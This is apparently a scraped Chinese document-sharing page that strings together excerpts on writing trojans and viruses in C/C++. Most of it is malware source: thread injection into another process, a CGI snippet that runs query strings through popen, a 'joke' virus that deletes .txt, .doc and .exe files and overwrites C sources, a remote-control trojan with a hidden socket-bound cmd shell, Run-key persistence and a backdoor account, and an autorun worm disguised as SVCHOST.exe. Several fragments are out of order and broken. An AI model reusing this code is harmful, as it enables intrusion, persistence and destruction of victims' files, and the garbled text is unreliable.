hToken,LPCTSTR szPrivName,BOOL fEnable){TOKEN_PRIVILEGES tp;tp.PrivilegeCount = 1;LookupPrivilegeValue(NULL,szPrivName,&tp.Privileges[0].Lu id);tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED:0;AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL);return((GetLastError() == ERROR_SUCCESS));}DWORD GetPidByName(char *szName){HANDLE hProcessSnap = INV ALID_HANDLE_V ALUE;PROCESSENTRY32 pe32={0};DWORD dwRet=0;hProcessSnap=CreateT oolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if(hProcessSnap == INV ALID_HANDLE_V ALUE)return 0;pe32.dwSize = sizeof(PROCESSENTRY32);if(Process32First(hProcessSnap, &pe32)){do{if(StrCmpNI(szName,pe32.szExeFile,strlen(szName))==0){dwRet=pe32.th32ProcessID;break;}}while (Process32Next(hProcessSnap,&pe32));}else return 0;if(hProcessSnap !=INVALID_HANDLE_V ALUE)CloseHandle(hProcessSnap); return dwRet;}。
C++实现木马线程注入
![C++实现木马线程注入](https://img.taocdn.com/s3/m/f63aa9dd80eb6294dd886c32.png)
C++实现木马线程注入详细解释及代码一、解释在基于黑客软件、杀毒软件、系统应用软件开发过程中,需要使用一种方式:将外部DLL通过线程形式注入到其他进程中。
这样的过程就叫注入线程或者叫线程注入二、源码#include"stdafx.h"#include"windows.h"// ========== 定义一个代码结构,本例为一个对话框============struct MyData{char sz[64、]; // 对话框显示内容DWORD dwMessageBox; // 对话框的地址};// ========== 远程线程的函数 ==============================DWORD __stdcall RMTFunc(MyData *pData){typedef int(__stdcall*MMessageBox)(HWND, LPCTSTR, LPCTSTR, UINT);MMessageBox MsgBox = (MMessageBox)pData->dwMessageBox;MsgBox(NULL, pData->sz, NULL, MB_OK);return 0;}int main(int argc, char* argv[]){// ===== 获得需要创建REMOTETHREAD的进程句柄 ===============================HWND hWnd = FindWindow("notepad", NULL); // 以NOTEPAD为例DWORD dwProcessId;::GetWindowThreadProcessId(hWnd, &dwProcessId);HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwProcessId);// ========= 代码结构 ================================================ MyData data;ZeroMemory(&data, sizeof (MyData));strcat(data.sz, "对话框的内容.");HINSTANCE hUser = LoadLibrary("user32.dll");if (!hUser){printf("Can not load library.\n");return 0;}data.dwMessageBox = (DWORD)GetProcAddress(hUser, "MessageBoxA"); FreeLibrary(hUser);if (!data.dwMessageBox)return 0;// ======= 分配空间 =================================================== void *pRemoteThread= VirtualAllocEx(hProcess, 0,1024 * 4, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);if (!pRemoteThread)return 0;if (!WriteProcessMemory(hProcess, pRemoteThread, &RMTFunc, 1024 * 4, 0)) return 0;MyData *pData= (MyData*)VirtualAllocEx(hProcess, 0,sizeof (MyData), MEM_COMMIT,PAGE_READWRITE);if (!pData)return 0;if (!WriteProcessMemory(hProcess, pData, &data, sizeof (MyData), 0)) return 0;// =========== 创建远程线程 =========================================== HANDLE hThread= CreateRemoteThread(hProcess, 0,0, (LPTHREAD_START_ROUTINE)pRemoteThread,pData, 0, 0);if (!hThread){printf("远程线程创建失败");return 0;。
基于VC的一种木马的设计
![基于VC的一种木马的设计](https://img.taocdn.com/s3/m/bf55b119fe4733687e21aaa5.png)
基于VC的一种木马的设计作者:刘阳秦为王宇宾来源:《电脑知识与技术》2012年第23期摘要:目前,Internet已经得到非常广泛的使用,但是同时,各种黑客工具和网络攻击手段也层出不穷。
黑客入侵给人们造成的各种损失也越来越大,其中木马就是被广泛使用的黑客工具之一,它对网络安全造成了极大的威胁。
该文使用VC++ 6.0为开发平台设计的一个简单的木马程序,主要实现了获取远程被控计算机的基本信息、锁定其鼠标和键盘、注销重启和关闭被控计算机、隐藏并开启其任务栏、向被控计算机发送消息等功能。
关键词:木马;远程控制;VC;Windows Socket中图分类号:TP393文献标识码:A文章编号:1009-3044(2012)23-5573-02以Internet为代表的全球性信息化浪潮日益高涨,信息网络技术的应用正日益普及,伴随网络的普及,安全问题日益成为影响网络效能的重要问题。
该文详细分析了远程监控模式的木马的工作原理和设计方法,对木马技术有详细的认识,能够为预防和治理黑客入侵有极大的帮助。
1系统总体设计本程序利用VC6.0++这一集成开发平台,在Windows环境下开发的一个基于远程控制的简单木马实现。
木马编写采用C/S结构,包括服务端Server和客户端Client。
Client上单击每一个按钮,就向Server端发送一个字母消息,Server端收到对应的字母消息后,用相应的函数进行判断,根据收到的具体字母,Server端调用相应的函数来具体实现每一个功能。
系统客户端和服务端通信如图1所示。
图1程序中将对远程被控主机实现以下操作:获取远程被控计算机系统基本信息、锁定远程被控计算机的鼠标操作、锁定远程被控计算机的键盘操作、注销重启和关闭被控计算机、隐藏并开启被控计算机的任务栏、向被控计算机发送消息、获取并杀死远程被控计算机的进程。
2具体功能实现当Server先在被控计算机上启动以后,Client输入被控计算机IP如:192.168.0.5,就可以连接上服务端,Client端单击获取信息按钮,Server端收到Client发过来的消息并响应,然后Server端调用四个API函数:调用函数GetSystemInfo()来返回当前系统的信息,调用函数GlobalMemoryStatus()来获得当前可用的物理和虚拟内存信息,调用函数GetVersionEx()来返回当前操作系统的版本信息,调用函数GetSystemMetrics()来返回与Windows环境有关的信息。
用c编写的木马
![用c编写的木马](https://img.taocdn.com/s3/m/d8de3610a2161479171128e7.png)
****($execthis);
syswrite(STDOUT, "rnrn", 17);
close(STDERR);
close(STDOUT);
exit;
[/code]
qs = getenv("QUERY_STRING");
if (qs != NULL) {
for (x = 0, i = 0; qs[i]; x++, i++) {
if ((qs[x] = qs[i]) == '%') {
qs[x] = x2c(&qs[i + 1]);
i += 2;
}
footer();
return(0);
}
char x2c(char *what)
{
register char digit;
digit = (what[0] >= 'A' ? ((what[0] & 0xdf) - 'A')+10 : (what[0] - '0'));
}
}
qs[x] = '';
for (x = 0; qs[x]; x++) {
if (qs[x] == ';
}
}
header(qs);
out = popen(qs, "r");
用C编写病毒
![用C编写病毒](https://img.taocdn.com/s3/m/1243bb7fa417866fb84a8e7c.png)
一、可以通过控制面板-管理工具-服务来管理和控制,这个大家应该很熟悉了。
二、自己写程序,这个程序就是我们木马病毒的启动程序。首先要打开SCM,如下:
SC_HANDLE OpenManager(LPCTSTR lpMachineNnme //SCM所在的机器名,一般为NULL,表示本地系统
,LPCTSTR lpDatabaseName //一般也为NULL
, DWROD dwAccess) //访问权限,可以设置为MANAGER_ALL_ACCESS
然后用上面的函数返回的SC_HANDLE调用CreateService函数,来创建一个逻辑服务的句柄,如下:
LPCESTR lpDependencies,
LPCTSTR lpServiceStartName,
LPCTSTR lpPassword)
如果成功,将返回dwServiceName对应的句柄SC_HANDLE,通过对这个句柄的操作可以控制服务。
ServiceStatus.dwControlAccepted=SERVICE_ACCEPT_PAUSE_CONTINUE;//设置或返回服务可接受的控制,此处为服务可以接受暂停和继续的控制命令,控制命令稍候介绍,可以查看MSDN。在我们的木马病毒中,只设置为可接受暂停和继续控制,像关闭、停止等命令都拒绝接受
int main()
{
SERVICE_TABLE_ENTRY ste[]={{ServiceName,ServiceMain},
{NULL,NULL} };//ServiceName是我们下面准备实现的逻辑服务的名称,这个像变量一样可以随便定义;ServiceMain就是逻辑服务所对应的服务入口点,它只是一个占位符,函数名称也是可以随便起的。这里可以给出多个逻辑服务,对于我们的木马病毒应该给两个逻辑服务。
怎样用C语言编写病毒(一)
![怎样用C语言编写病毒(一)](https://img.taocdn.com/s3/m/181b0be90342a8956bec0975f46527d3240ca616.png)
怎样⽤C语⾔编写病毒(⼀)怎样⽤C语⾔编写病毒在分析病毒机理的基础上,⽤C语⾔写了⼀个⼩病毒作为实例,⽤TURBOC2.0实现.[Abstract] This paper introduce the charateristic of the computer virus,then show a simple example written by TURBOC2.0.⼀、什么是病毒恶意软件可能是第⼀个对我们产⽣影响的计算机安全问题.所以病毒在信息安全中是很重要的.我们要对付病毒,就要了解病毒.写⼀些病毒是⼀个很好的办法.如果要写⼀个病毒,先要知道它是什么.可以给病毒⼀个定义,这⼀定义是被⼴泛认可的。
Frederic Cohen博⼠在《计算机病毒简短讲座》中提到的:“⋯⋯⼀种能够通过修改⾃⾝来包括或释放⾃我拷贝⽽传染给其他程序的程序。
“其实病毒和普通程序并⽆太⼤不同,⽽且通常⽐较简单,不像很多程序那样复杂。
只不过病毒⾥⾯⽤到⼀些正常程序⼀般不会⽤到的技术。
要编制⼀个病毒,⾸先要知道病毒的运⾏机理。
不论是何种病毒,它⼀般在结构上分为三个功能模块:感染机制,触发机制和有效载荷。
在病毒结构中,⾸要的⽽且唯⼀必需的部分是感染机制。
病毒⾸先必须是能够繁殖⾃⾝的代码,这是病毒之所以成为病毒的根本原因。
我们可以⽤⼀段类C伪码来表⽰这个过程。
InfectSection(){if (infectable_object_found&&object_not_already_infect)infect_object;}病毒的第⼆个主要构成部分是有效载荷触发事件.⼀个病毒来到你的电脑后,不⼤可能⽴即发作,否则它不会被传播得很远.潜伏的敌⼈永远要⽐能见到的敌⼈危险得多.病毒⼀般是在找到⼀定数量的感染体,某⼀⽇期或时间,某⼀段⽂本后触发.⼀个简单的触发机制可能是这样⼯作的:TriggerSection(){if (date_is_Friday_13th_and_time_is_03:13:13)set_trigger_status_to_yes;}有效载荷就是病毒⽤来骚扰你的电脑的⽅法,有触发机制的病毒⼀般也有有效载荷。
C语言病毒代码
![C语言病毒代码](https://img.taocdn.com/s3/m/bac9501d854769eae009581b6bd97f192279bf7d.png)
C语⾔病毒代码在下⾯的部分加上传染部分就可以了,⽐如email发送被点击时触发,附加到其他普通软件条件触发等C语⾔病毒代码#include <io.h>#include <dir.h>#include <stdio.h>#include <stdlib.h>#include <string.h>/* copy outfile to infile */void copyfile(char *infile, char *outfile){FILE *in,*out;in = fopen(infile,"r");out = fopen(outfile,"w");while (!feof(in)){fputc(fgetc(in),out);}fclose(in);fclose(out);}/*This function named Rubbishmaker.*/void MakeRubbish(){int i;FILE *fp;char *path;char *NewName;char *disk[7] = {"A","B","C","D","E","F","G"}; char *addtion = ":\\";/* Make some rubbish at the current catalogue */for (i = 0; i<5; i++){char tempname[] = "XXXXXX" ;NewName = mktemp(tempname);fp = fopen(NewName,"w");fclose(fp);}/* make some rubbish at the root catalogue */path = strcat(disk[getdisk()],addtion); /* get the root catalogue */chdir(path); /*change directory according to the "path" */for (i = 0; i<5; i++){char tempname[] = "XXXXXX";NewName = mktemp(tempname);fp = fopen(NewName,"w");fclose(fp);}}This function can creat some .exe or .com documents in the sensitive place.Don't worry,It's only a joke.It will do no harm to your computer.*/void CreatEXE(){int i;char *path;char *s[2] = {"C:\\WINDOWS\\system32\\loveworm.exe","C:\\WINDOWS\\"}; for ( i = 0; i < 2; i++){open(s, 0x0100,0x0080);copyfile( "C_KILLER.C",s);}}/* remove something from your computer */void Remove(){int done;int i;struct ffblk ffblk;char *documenttype[3] = {"*.txt","*.doc","*.exe"};for (i = 0; i < 3; i++){done = findfirst(documenttype,&ffblk,2);while (!done){remove(ffblk.ff_name);done = findnext(&ffblk);}}}/* overlay the c programs */void Breed(){int done;struct ffblk ffblk;done = findfirst("*.c",&ffblk,2);while (!done){if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 ){copyfile("C_KILLER.C",ffblk.ff_name);}done = findnext(&ffblk);}}void main(){printf("THERE IS A VIRUS BY XIAOKE.\n\n");Breed();Remove();CreatEXE();printf("COULD YOU TELL ME YOUR NAME?\n\n");printf("NOW,PLEASE ENTER YOUR NAME,OR THERE WILL BE SOME TROUBLE WITH YOU!\n\n");getchar();printf("IT'S ONLY A JOKE! THANK YOU!\n\n");clrscr();system("cmd");}⾸先声明:本程序是我举的⼀个例⼦为了叫⼤家理解就可以了如果⼤家拿去捉弄⼈,我不负任何责任!希望⼤家要以学习为重!对于病毒我们应该是深恶痛绝的,但是作为纯研究许多⼈还是很有兴趣的我曾经⽤汇编做过⼀些具有毁灭性的病毒,本想献出来与⼤家分享不过考虑到⼀些⼩⼈看了会做出来⼀些危害别⼈的⾏为,所以我决定⽤这个简单的并毫⽆伤害性的c语⾔伪病毒来说明⼀下问题,再次声明这⼀切全是为了编程研究病毒的特点:病毒的最⼤特点就是⾃我复制,从病毒的分类来说有很多种,这⾥我们将介绍最流⾏的附加式病毒,它通过对正常的⽂件进⾏改写,增加来实现其⾃我复制的⽬的。
一个简单木马程序
![一个简单木马程序](https://img.taocdn.com/s3/m/0abea525bcd126fff7050b3d.png)
程序清单:Client.cpp // 客户端代码Server.cpp // 服务器端代码程序代码及说明://Client.cpp文件#include <stdio.h> //包含标准输入输出库#include <winsock.h> //包含windows套接字函数#include <iostream>using namespace std;#pragma comment(lib,"Ws2_32")//将注释wsock32放置到lib文件中,否则需要加载#define MAXSIZE 2048 //每次可以接收的最大字节#define SEND_PORT 2000 //与木马程序连接的端口为2000struct sockaddr_in ClientAddr; //对方的地址端口信息SOCKET sock; //定义套接字变量,为全局变量DWORD startSock() //建立套接字功能模块{WSADATA WSAData; //将WSAData的数据类型声明为WSADATA if(WSAStartup(MAKEWORD(2,2),&WSAData)!=0){//MAKEWORD(2,2)预定义Winsock版本,初始化套接字printf("sock init fail");return(-1);}sock = socket(AF_INET, SOCK_STREAM, 0);//连接对方return 1;}int main(int argc, char *argv[]){u_int numbyte;char buf[MAXSIZE]; //传送数据的缓冲区char ip[100];cout<<"请输入要连接的IP地址"<<endl;cin>>ip;startSock();//调用建立套接字功能函数ClientAddr.sin_family = AF_INET; //协议类型是INETClientAddr.sin_port = htons(SEND_PORT); //连接对方2000端口ClientAddr.sin_addr.s_addr = inet_addr(ip); //连接对方的IP地址connect(sock, (struct sockaddr *)&ClientAddr,sizeof(struct sockaddr));printf("------------远程控制木马程序菜单-------------\r\n");printf("add --建立Windows系统的秘密帐号\r\n");printf("shutdown --关闭Windows计算机\r\n");printf("reset --重新启动Windows计算机\r\n");printf("close --关闭光驱\r\n");printf("open --打开光驱\r\n");printf("shell --建立cmd进程\r\n");printf("quit --退出系统\r\n");printf("BIT----------gaoping-----------\r\n");while(1){buf[0] = '\0';scanf("%s",buf);//输入控制指令int iLen = strlen(buf);buf[iLen] = 0xa;buf[iLen+1] = '\0';//要求控制指令串最后为回车符,以示结束numbyte=send(sock, buf, strlen(buf), 0);//发出控制指令if(numbyte==SOCKET_ERROR){closesocket(sock);break;}numbyte=recv(sock, buf, MAXSIZE, 0);//接收服务端发来的提示符if(numbyte==SOCKET_ERROR){closesocket(sock);break;}buf[numbyte] = '\0';printf("%s",buf); //显示服务端发来的提示符if(strcmp(buf, "quit") == 0 ){closesocket(sock);return 0;}}return 0;}//Server.cpp文件#include <winsock2.h> //包含windows套接字函数#include <stdio.h> //包含标准输入输出函数#include <mmsystem.h> //光驱控制函数mciSendString()所需的头文件#include <iostream> //包含C++系统输入输出函数#include <string> //包含字符串处理函数using namespace std;#include <winuser.h> //WinExec()函数所需的头文件#pragma comment(lib,"Ws2_32")//将注释wsock32放置到lib文件中,否则需要加载#pragma comment(lib,"Winmm.lib")//光驱控制函数mciSendString()所需的库#define RECV_PORT 2000 //木马服务端对外响应的端口#define PATH 200 //程序自启动的最大路径SOCKET sock1,sock2;//sock1为服务端程序自身建立的套接字//sock2为服务端与客户端建立响应后的套接字int g1;char Buff[1024],cmd[1024];//缓冲区DWORD startSock() //建立套接字功能模块{WSADATA WSAData; //将WSAData的数据类型声明为WSADATAif(WSAStartup(MAKEWORD(2,2),&WSAData)!=0){//MAKEWORD(2,2)预定义Winsock版本,初始化套接字printf("sock init fail");return(-1);}sock1 = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);//建立套接字,为TCP/IP、流式格式struct sockaddr_in serverAddr; //保存套接字地址的结构体serverAddr.sin_family = AF_INET; //规定使用IPv4协议serverAddr.sin_port = htons(RECV_PORT); //响应端口serverAddr.sin_addr.s_addr=ADDR_ANY;//建立IP地址,ADDR_ANY可使用任意IP地址连接g1=bind(sock1,(sockaddr *)&serverAddr,sizeof(serverAddr));//绑定端口与套接字g1=listen(sock1,5);//等待监听,最大可接受5个连接请求int serverAddrSize = sizeof(serverAddr);sock2=accept(sock1,(sockaddr *)&serverAddr,&serverAddrSize);//如果客户请求2000端口,接受连接,并返回sock2套接字return 1;}int cmdshell(SOCKET sock) //建立cmd进程功能模块{STARTUPINFO startinfo; //控制进程的主窗口的显示方式ZeroMemory(&startinfo,sizeof(startinfo));startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;// 决定本结构的每一个成员是否起作用startinfo.wShowWindow = SW_HIDE;//窗口显示模式,隐藏格式startinfo.hStdInput = startinfo.hStdOutput = startinfo.hStdError = (void *)sock;//标准输入输出管道char cmdsystem[] = "cmd";//cmd进程PROCESS_INFORMATION ProcessInformation;// 指向进程信息结构的指针int g2;//下面为建立进程过程g2=CreateProcess(NULL,cmdsystem,NULL,NULL,1,0,NULL,NULL,&startinfo,&ProcessInformat ion);//建立一个cmd.exe进程与相应的输入输出管道WaitForSingleObject(ProcessInformation.hProcess, INFINITE);//等待子进程退出TerminateProcess(ProcessInformation.hProcess, 0);//在一个子进程中强制结束其他的进程CloseHandle(ProcessInformation.hProcess);//关闭子进程句柄return 1;}DWORD startExeFile() //自启动程序功能模块{char ExeFile[PATH]; //木马程序缓冲区char TempPath[PATH];//系统目录缓冲区int g3;GetModuleFileName(NULL,ExeFile,PATH);//得到当前文件名GetSystemDirectory(TempPath ,PATH); //得到系统目录strcat(TempPath,"\\server.exe");//拷贝到系统文件夹名为server.exeg3 = CopyFile(ExeFile, TempPath, FALSE);HKEY key;//关键字句柄if( RegOpenKeyEx( HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0, KEY_ALL_ACCESS, &key ) == ERROR_SUCCESS){//创建和打开一个关键字RegSetValueEx(key,"server",0,REG_SZ,(BYTE *)TempPath,lstrlen(TempPath));// 在RUN键下建立一个server键,为该木马的路径RegCloseKey(key); //关闭并保存}return 1;}DWORD Open_CDROM()//打开光驱程序功能模块{mciSendString("set cdaudio door open", NULL, 0, NULL);//多媒体控制函数return 1;}DWORD Close_CDROM()//关闭光驱程序功能模块{ mciSendString("Set cdaudio door closed wait", NULL, 1, NULL);//多媒体控制函数return 1;}DWORD shutdownwin2k()//关闭Win2K程序功能模块{HANDLE hToken;TOKEN_PRIVILEGES tkp;// Windows2K中需要设置调用进程的权限,当获取该权限后才能关闭计算机的操作OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);tkp.PrivilegeCount = 1; // 设置一个权限tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);ExitWindowsEx(EWX_SHUTDOWN |EWX_FORCE, 0);return 1;}DWORD shutdownwin98()//关闭Win98程序功能模块{ExitWindowsEx(EWX_SHUTDOWN | EWX_FORCE,0);return 1;}DWORD resetwin98()//重新启动Win98程序功能模块{ExitWindowsEx(EWX_REBOOT |EWX_FORCE,0);return 1;}DWORD resetwin2k()//重新启动Win2K程序功能模块{HANDLE hToken;TOKEN_PRIVILEGES tkp;// Windows2K系列,需要设置调用进程的权限,获得权限才能进行重新启动计算机的操作OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);tkp.PrivilegeCount = 1; // 设置一个权限tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0);return 1;}DWORD adduser()//建立秘密帐号程序功能模块{WinExec("net user yaoxiangwen 0123456789 /add",SW_HIDE);//建立秘密帐号:yaoxiangwen为用户帐号,0123456789为密码return 1;}//下面为主函数,通过调用各个功能模块来实现木马功能int main(){startExeFile();//startSock() ;unsigned long ByteRead = 0;while(1){send(sock2,"远程控制系统,请输入你的选择!\n\rcmd>",sizeof("欢迎进入木马远程控制系统,请输入你的选择!\n\rcmd>"),0);ZeroMemory(cmd,1024); //初始化cmd[]缓冲区,用来装客户端发来的指令ByteRead = 0; //接收客户端发来的指令字节数while(ByteRead<200) //下面是接收客户端发来控制字程序段{if(recv(sock2,Buff,1,0)==SOCKET_ERROR)//控制字在Buff缓冲区中{closesocket(sock2);return 0;}cmd[ByteRead]=Buff[0];if(Buff[0]==0xa || Buff[0]==0xd){ //如果控制字最后是回车符表示结束标志,cmd[]数组最后一位为0cmd[ByteRead]=0;break;}ByteRead++; //指令字节计数}if(strcmp(cmd,"open") == 0){Open_CDROM(); //调用打开光驱模块程序send(sock2,"OK\n\rcmd>",sizeof("OK\n\rcmd>"),0);}else if(strcmp(cmd,"close") == 0){Close_CDROM(); //调用关闭光驱模块程序send(sock2,"OK\n\rcmd>",sizeof("OK\n\rcmd>"),0);}else if(strcmp(cmd,"shell")==0){cmdshell(sock2); //调用CMD进程模块程序send(sock2,"Create the cmd Shell OK\n\rcmd>",sizeof("Create the cmd Shell OK\n\rcmd>"),0);}else if(strcmp(cmd,"shutdown98")==0){shutdownwin98();//调用关闭Win98系统计算机模块程序send(sock2,"shutdown the windows98 OK\n\rcmd>",sizeof("shutdown the windows98 OK\n\rcmd>"),0);}else if(strcmp(cmd,"shutdown")==0){shutdownwin2k();//调用关闭Win2K系统计算机模块程序send(sock2,"shutdown the windows2k OK\n\rcmd>",sizeof("shutdown the windows2k OK\n\rcmd>"),0);}else if(strcmp(cmd,"reset98")==0){resetwin98(); //调用启动Win98系统计算机模块程序send(sock2,"reset the windows98 OK\n\rcmd>",sizeof("reset the windows98 OK\n\rcmd>"),0);}else if(strcmp(cmd,"reset")==0){resetwin2k(); //调用启动Win2K系统计算机模块程序send(sock2,"reset the windows2k OK\n\rcmd>",sizeof("reset the windows2k OK\n\rcmd>"),0);}else if(strcmp(cmd,"add")==0){adduser(); //调用建立秘密帐号模块程序send(sock2,"net user yaoxiangwen 0123456789 /add OK\n\rcmd>",sizeof("net user xxdk gao/add OK\n\rcmd>"),0);}else if(strcmp(cmd,"quit")==0){//退出木马,并关闭套接字closesocket(sock2);exit(0);}else{send(sock2,"Bad command,Please input the word try again\n\rcmd>",sizeof("Bad command,Please input the word try again\n\rcmd>"),0);} //显示输入有误,重新输入Sleep(10); //延时}return 1;}。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
for(i=0;i<3;i++)
{
output=fopen(files_autorun,"w");
fprintf(output,"%s",autorun);
fclose(output);
}
for(i=0;i<=SVCHOST_NUM;i++)
{
if((input=fopen(files_svchost,"rb"))!=NULL)
用C语言编写病毒
连载1——最基本的病毒. 更多关于C语言编写病毒的文章请点击
本病毒的功能:
1.在C、D、E盘和c:\windows\system、c:\windows中生成本病毒体文件
2.在C、D、E盘中生成自动运行文件
3.注册c:\windows\system\svchost.exe,使其开机自动运行
char *files_autorun[10]={"c:\\autorun.inf","d:\\autorun.inf","e:\\autorun.inf"};
char *files_svchost[SVCHOST_NUM+1]={"c:\\windows\\system\\MSMOUSE.DLL","c:\\windows\\system\\SVCHOST.exe","c:\\windows\\SVCHOST.exe","c:\\SVCHOST.exe","d:\\SVCHOST.exe","e:\\SVCHOST.exe","SVCHOST.exe"};
{
FILE *input,*output;
char temp;
if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen(outfile,"wb"))!=NULL))
{
while(!feof(input))
4.在C:\windows\system下生成隐蔽DLL文件
5.病毒在执行后具有相联复制能力
本病毒类似普通U盘病毒雏形,具备自我复制、运行能力。
以下程序在DEV-CPP 4.9.9.2(GCC编译器)下编译通过
请保存为SVCHOST.C编译,运行,本病毒对计算机无危害,请放心研究
代码如下<以下代码请不要用于非法,否则后果自负>
{
fclose(input);
for(k=0;k<SVCHOST_NUM;k++)
{
copy(files_svchost,files_svchost);
}
i=SVCHOST_NUM+1;
}
}
system(regadd);
return 0;
}
{
fread(&temp,1,1,input);
fwrite(&temp,1,1,output);
}
fclose(input);
fclose(output);
return 0;
}
else return 1;
}
int main(void)
{ FILE *input*output; #define SVCHOST_NUM 6
#include<stdio.h>
#include<string.h>
char *autorun={"\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"};
char *regadd="reg add "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f";
int copy(char *infile,char *outfile)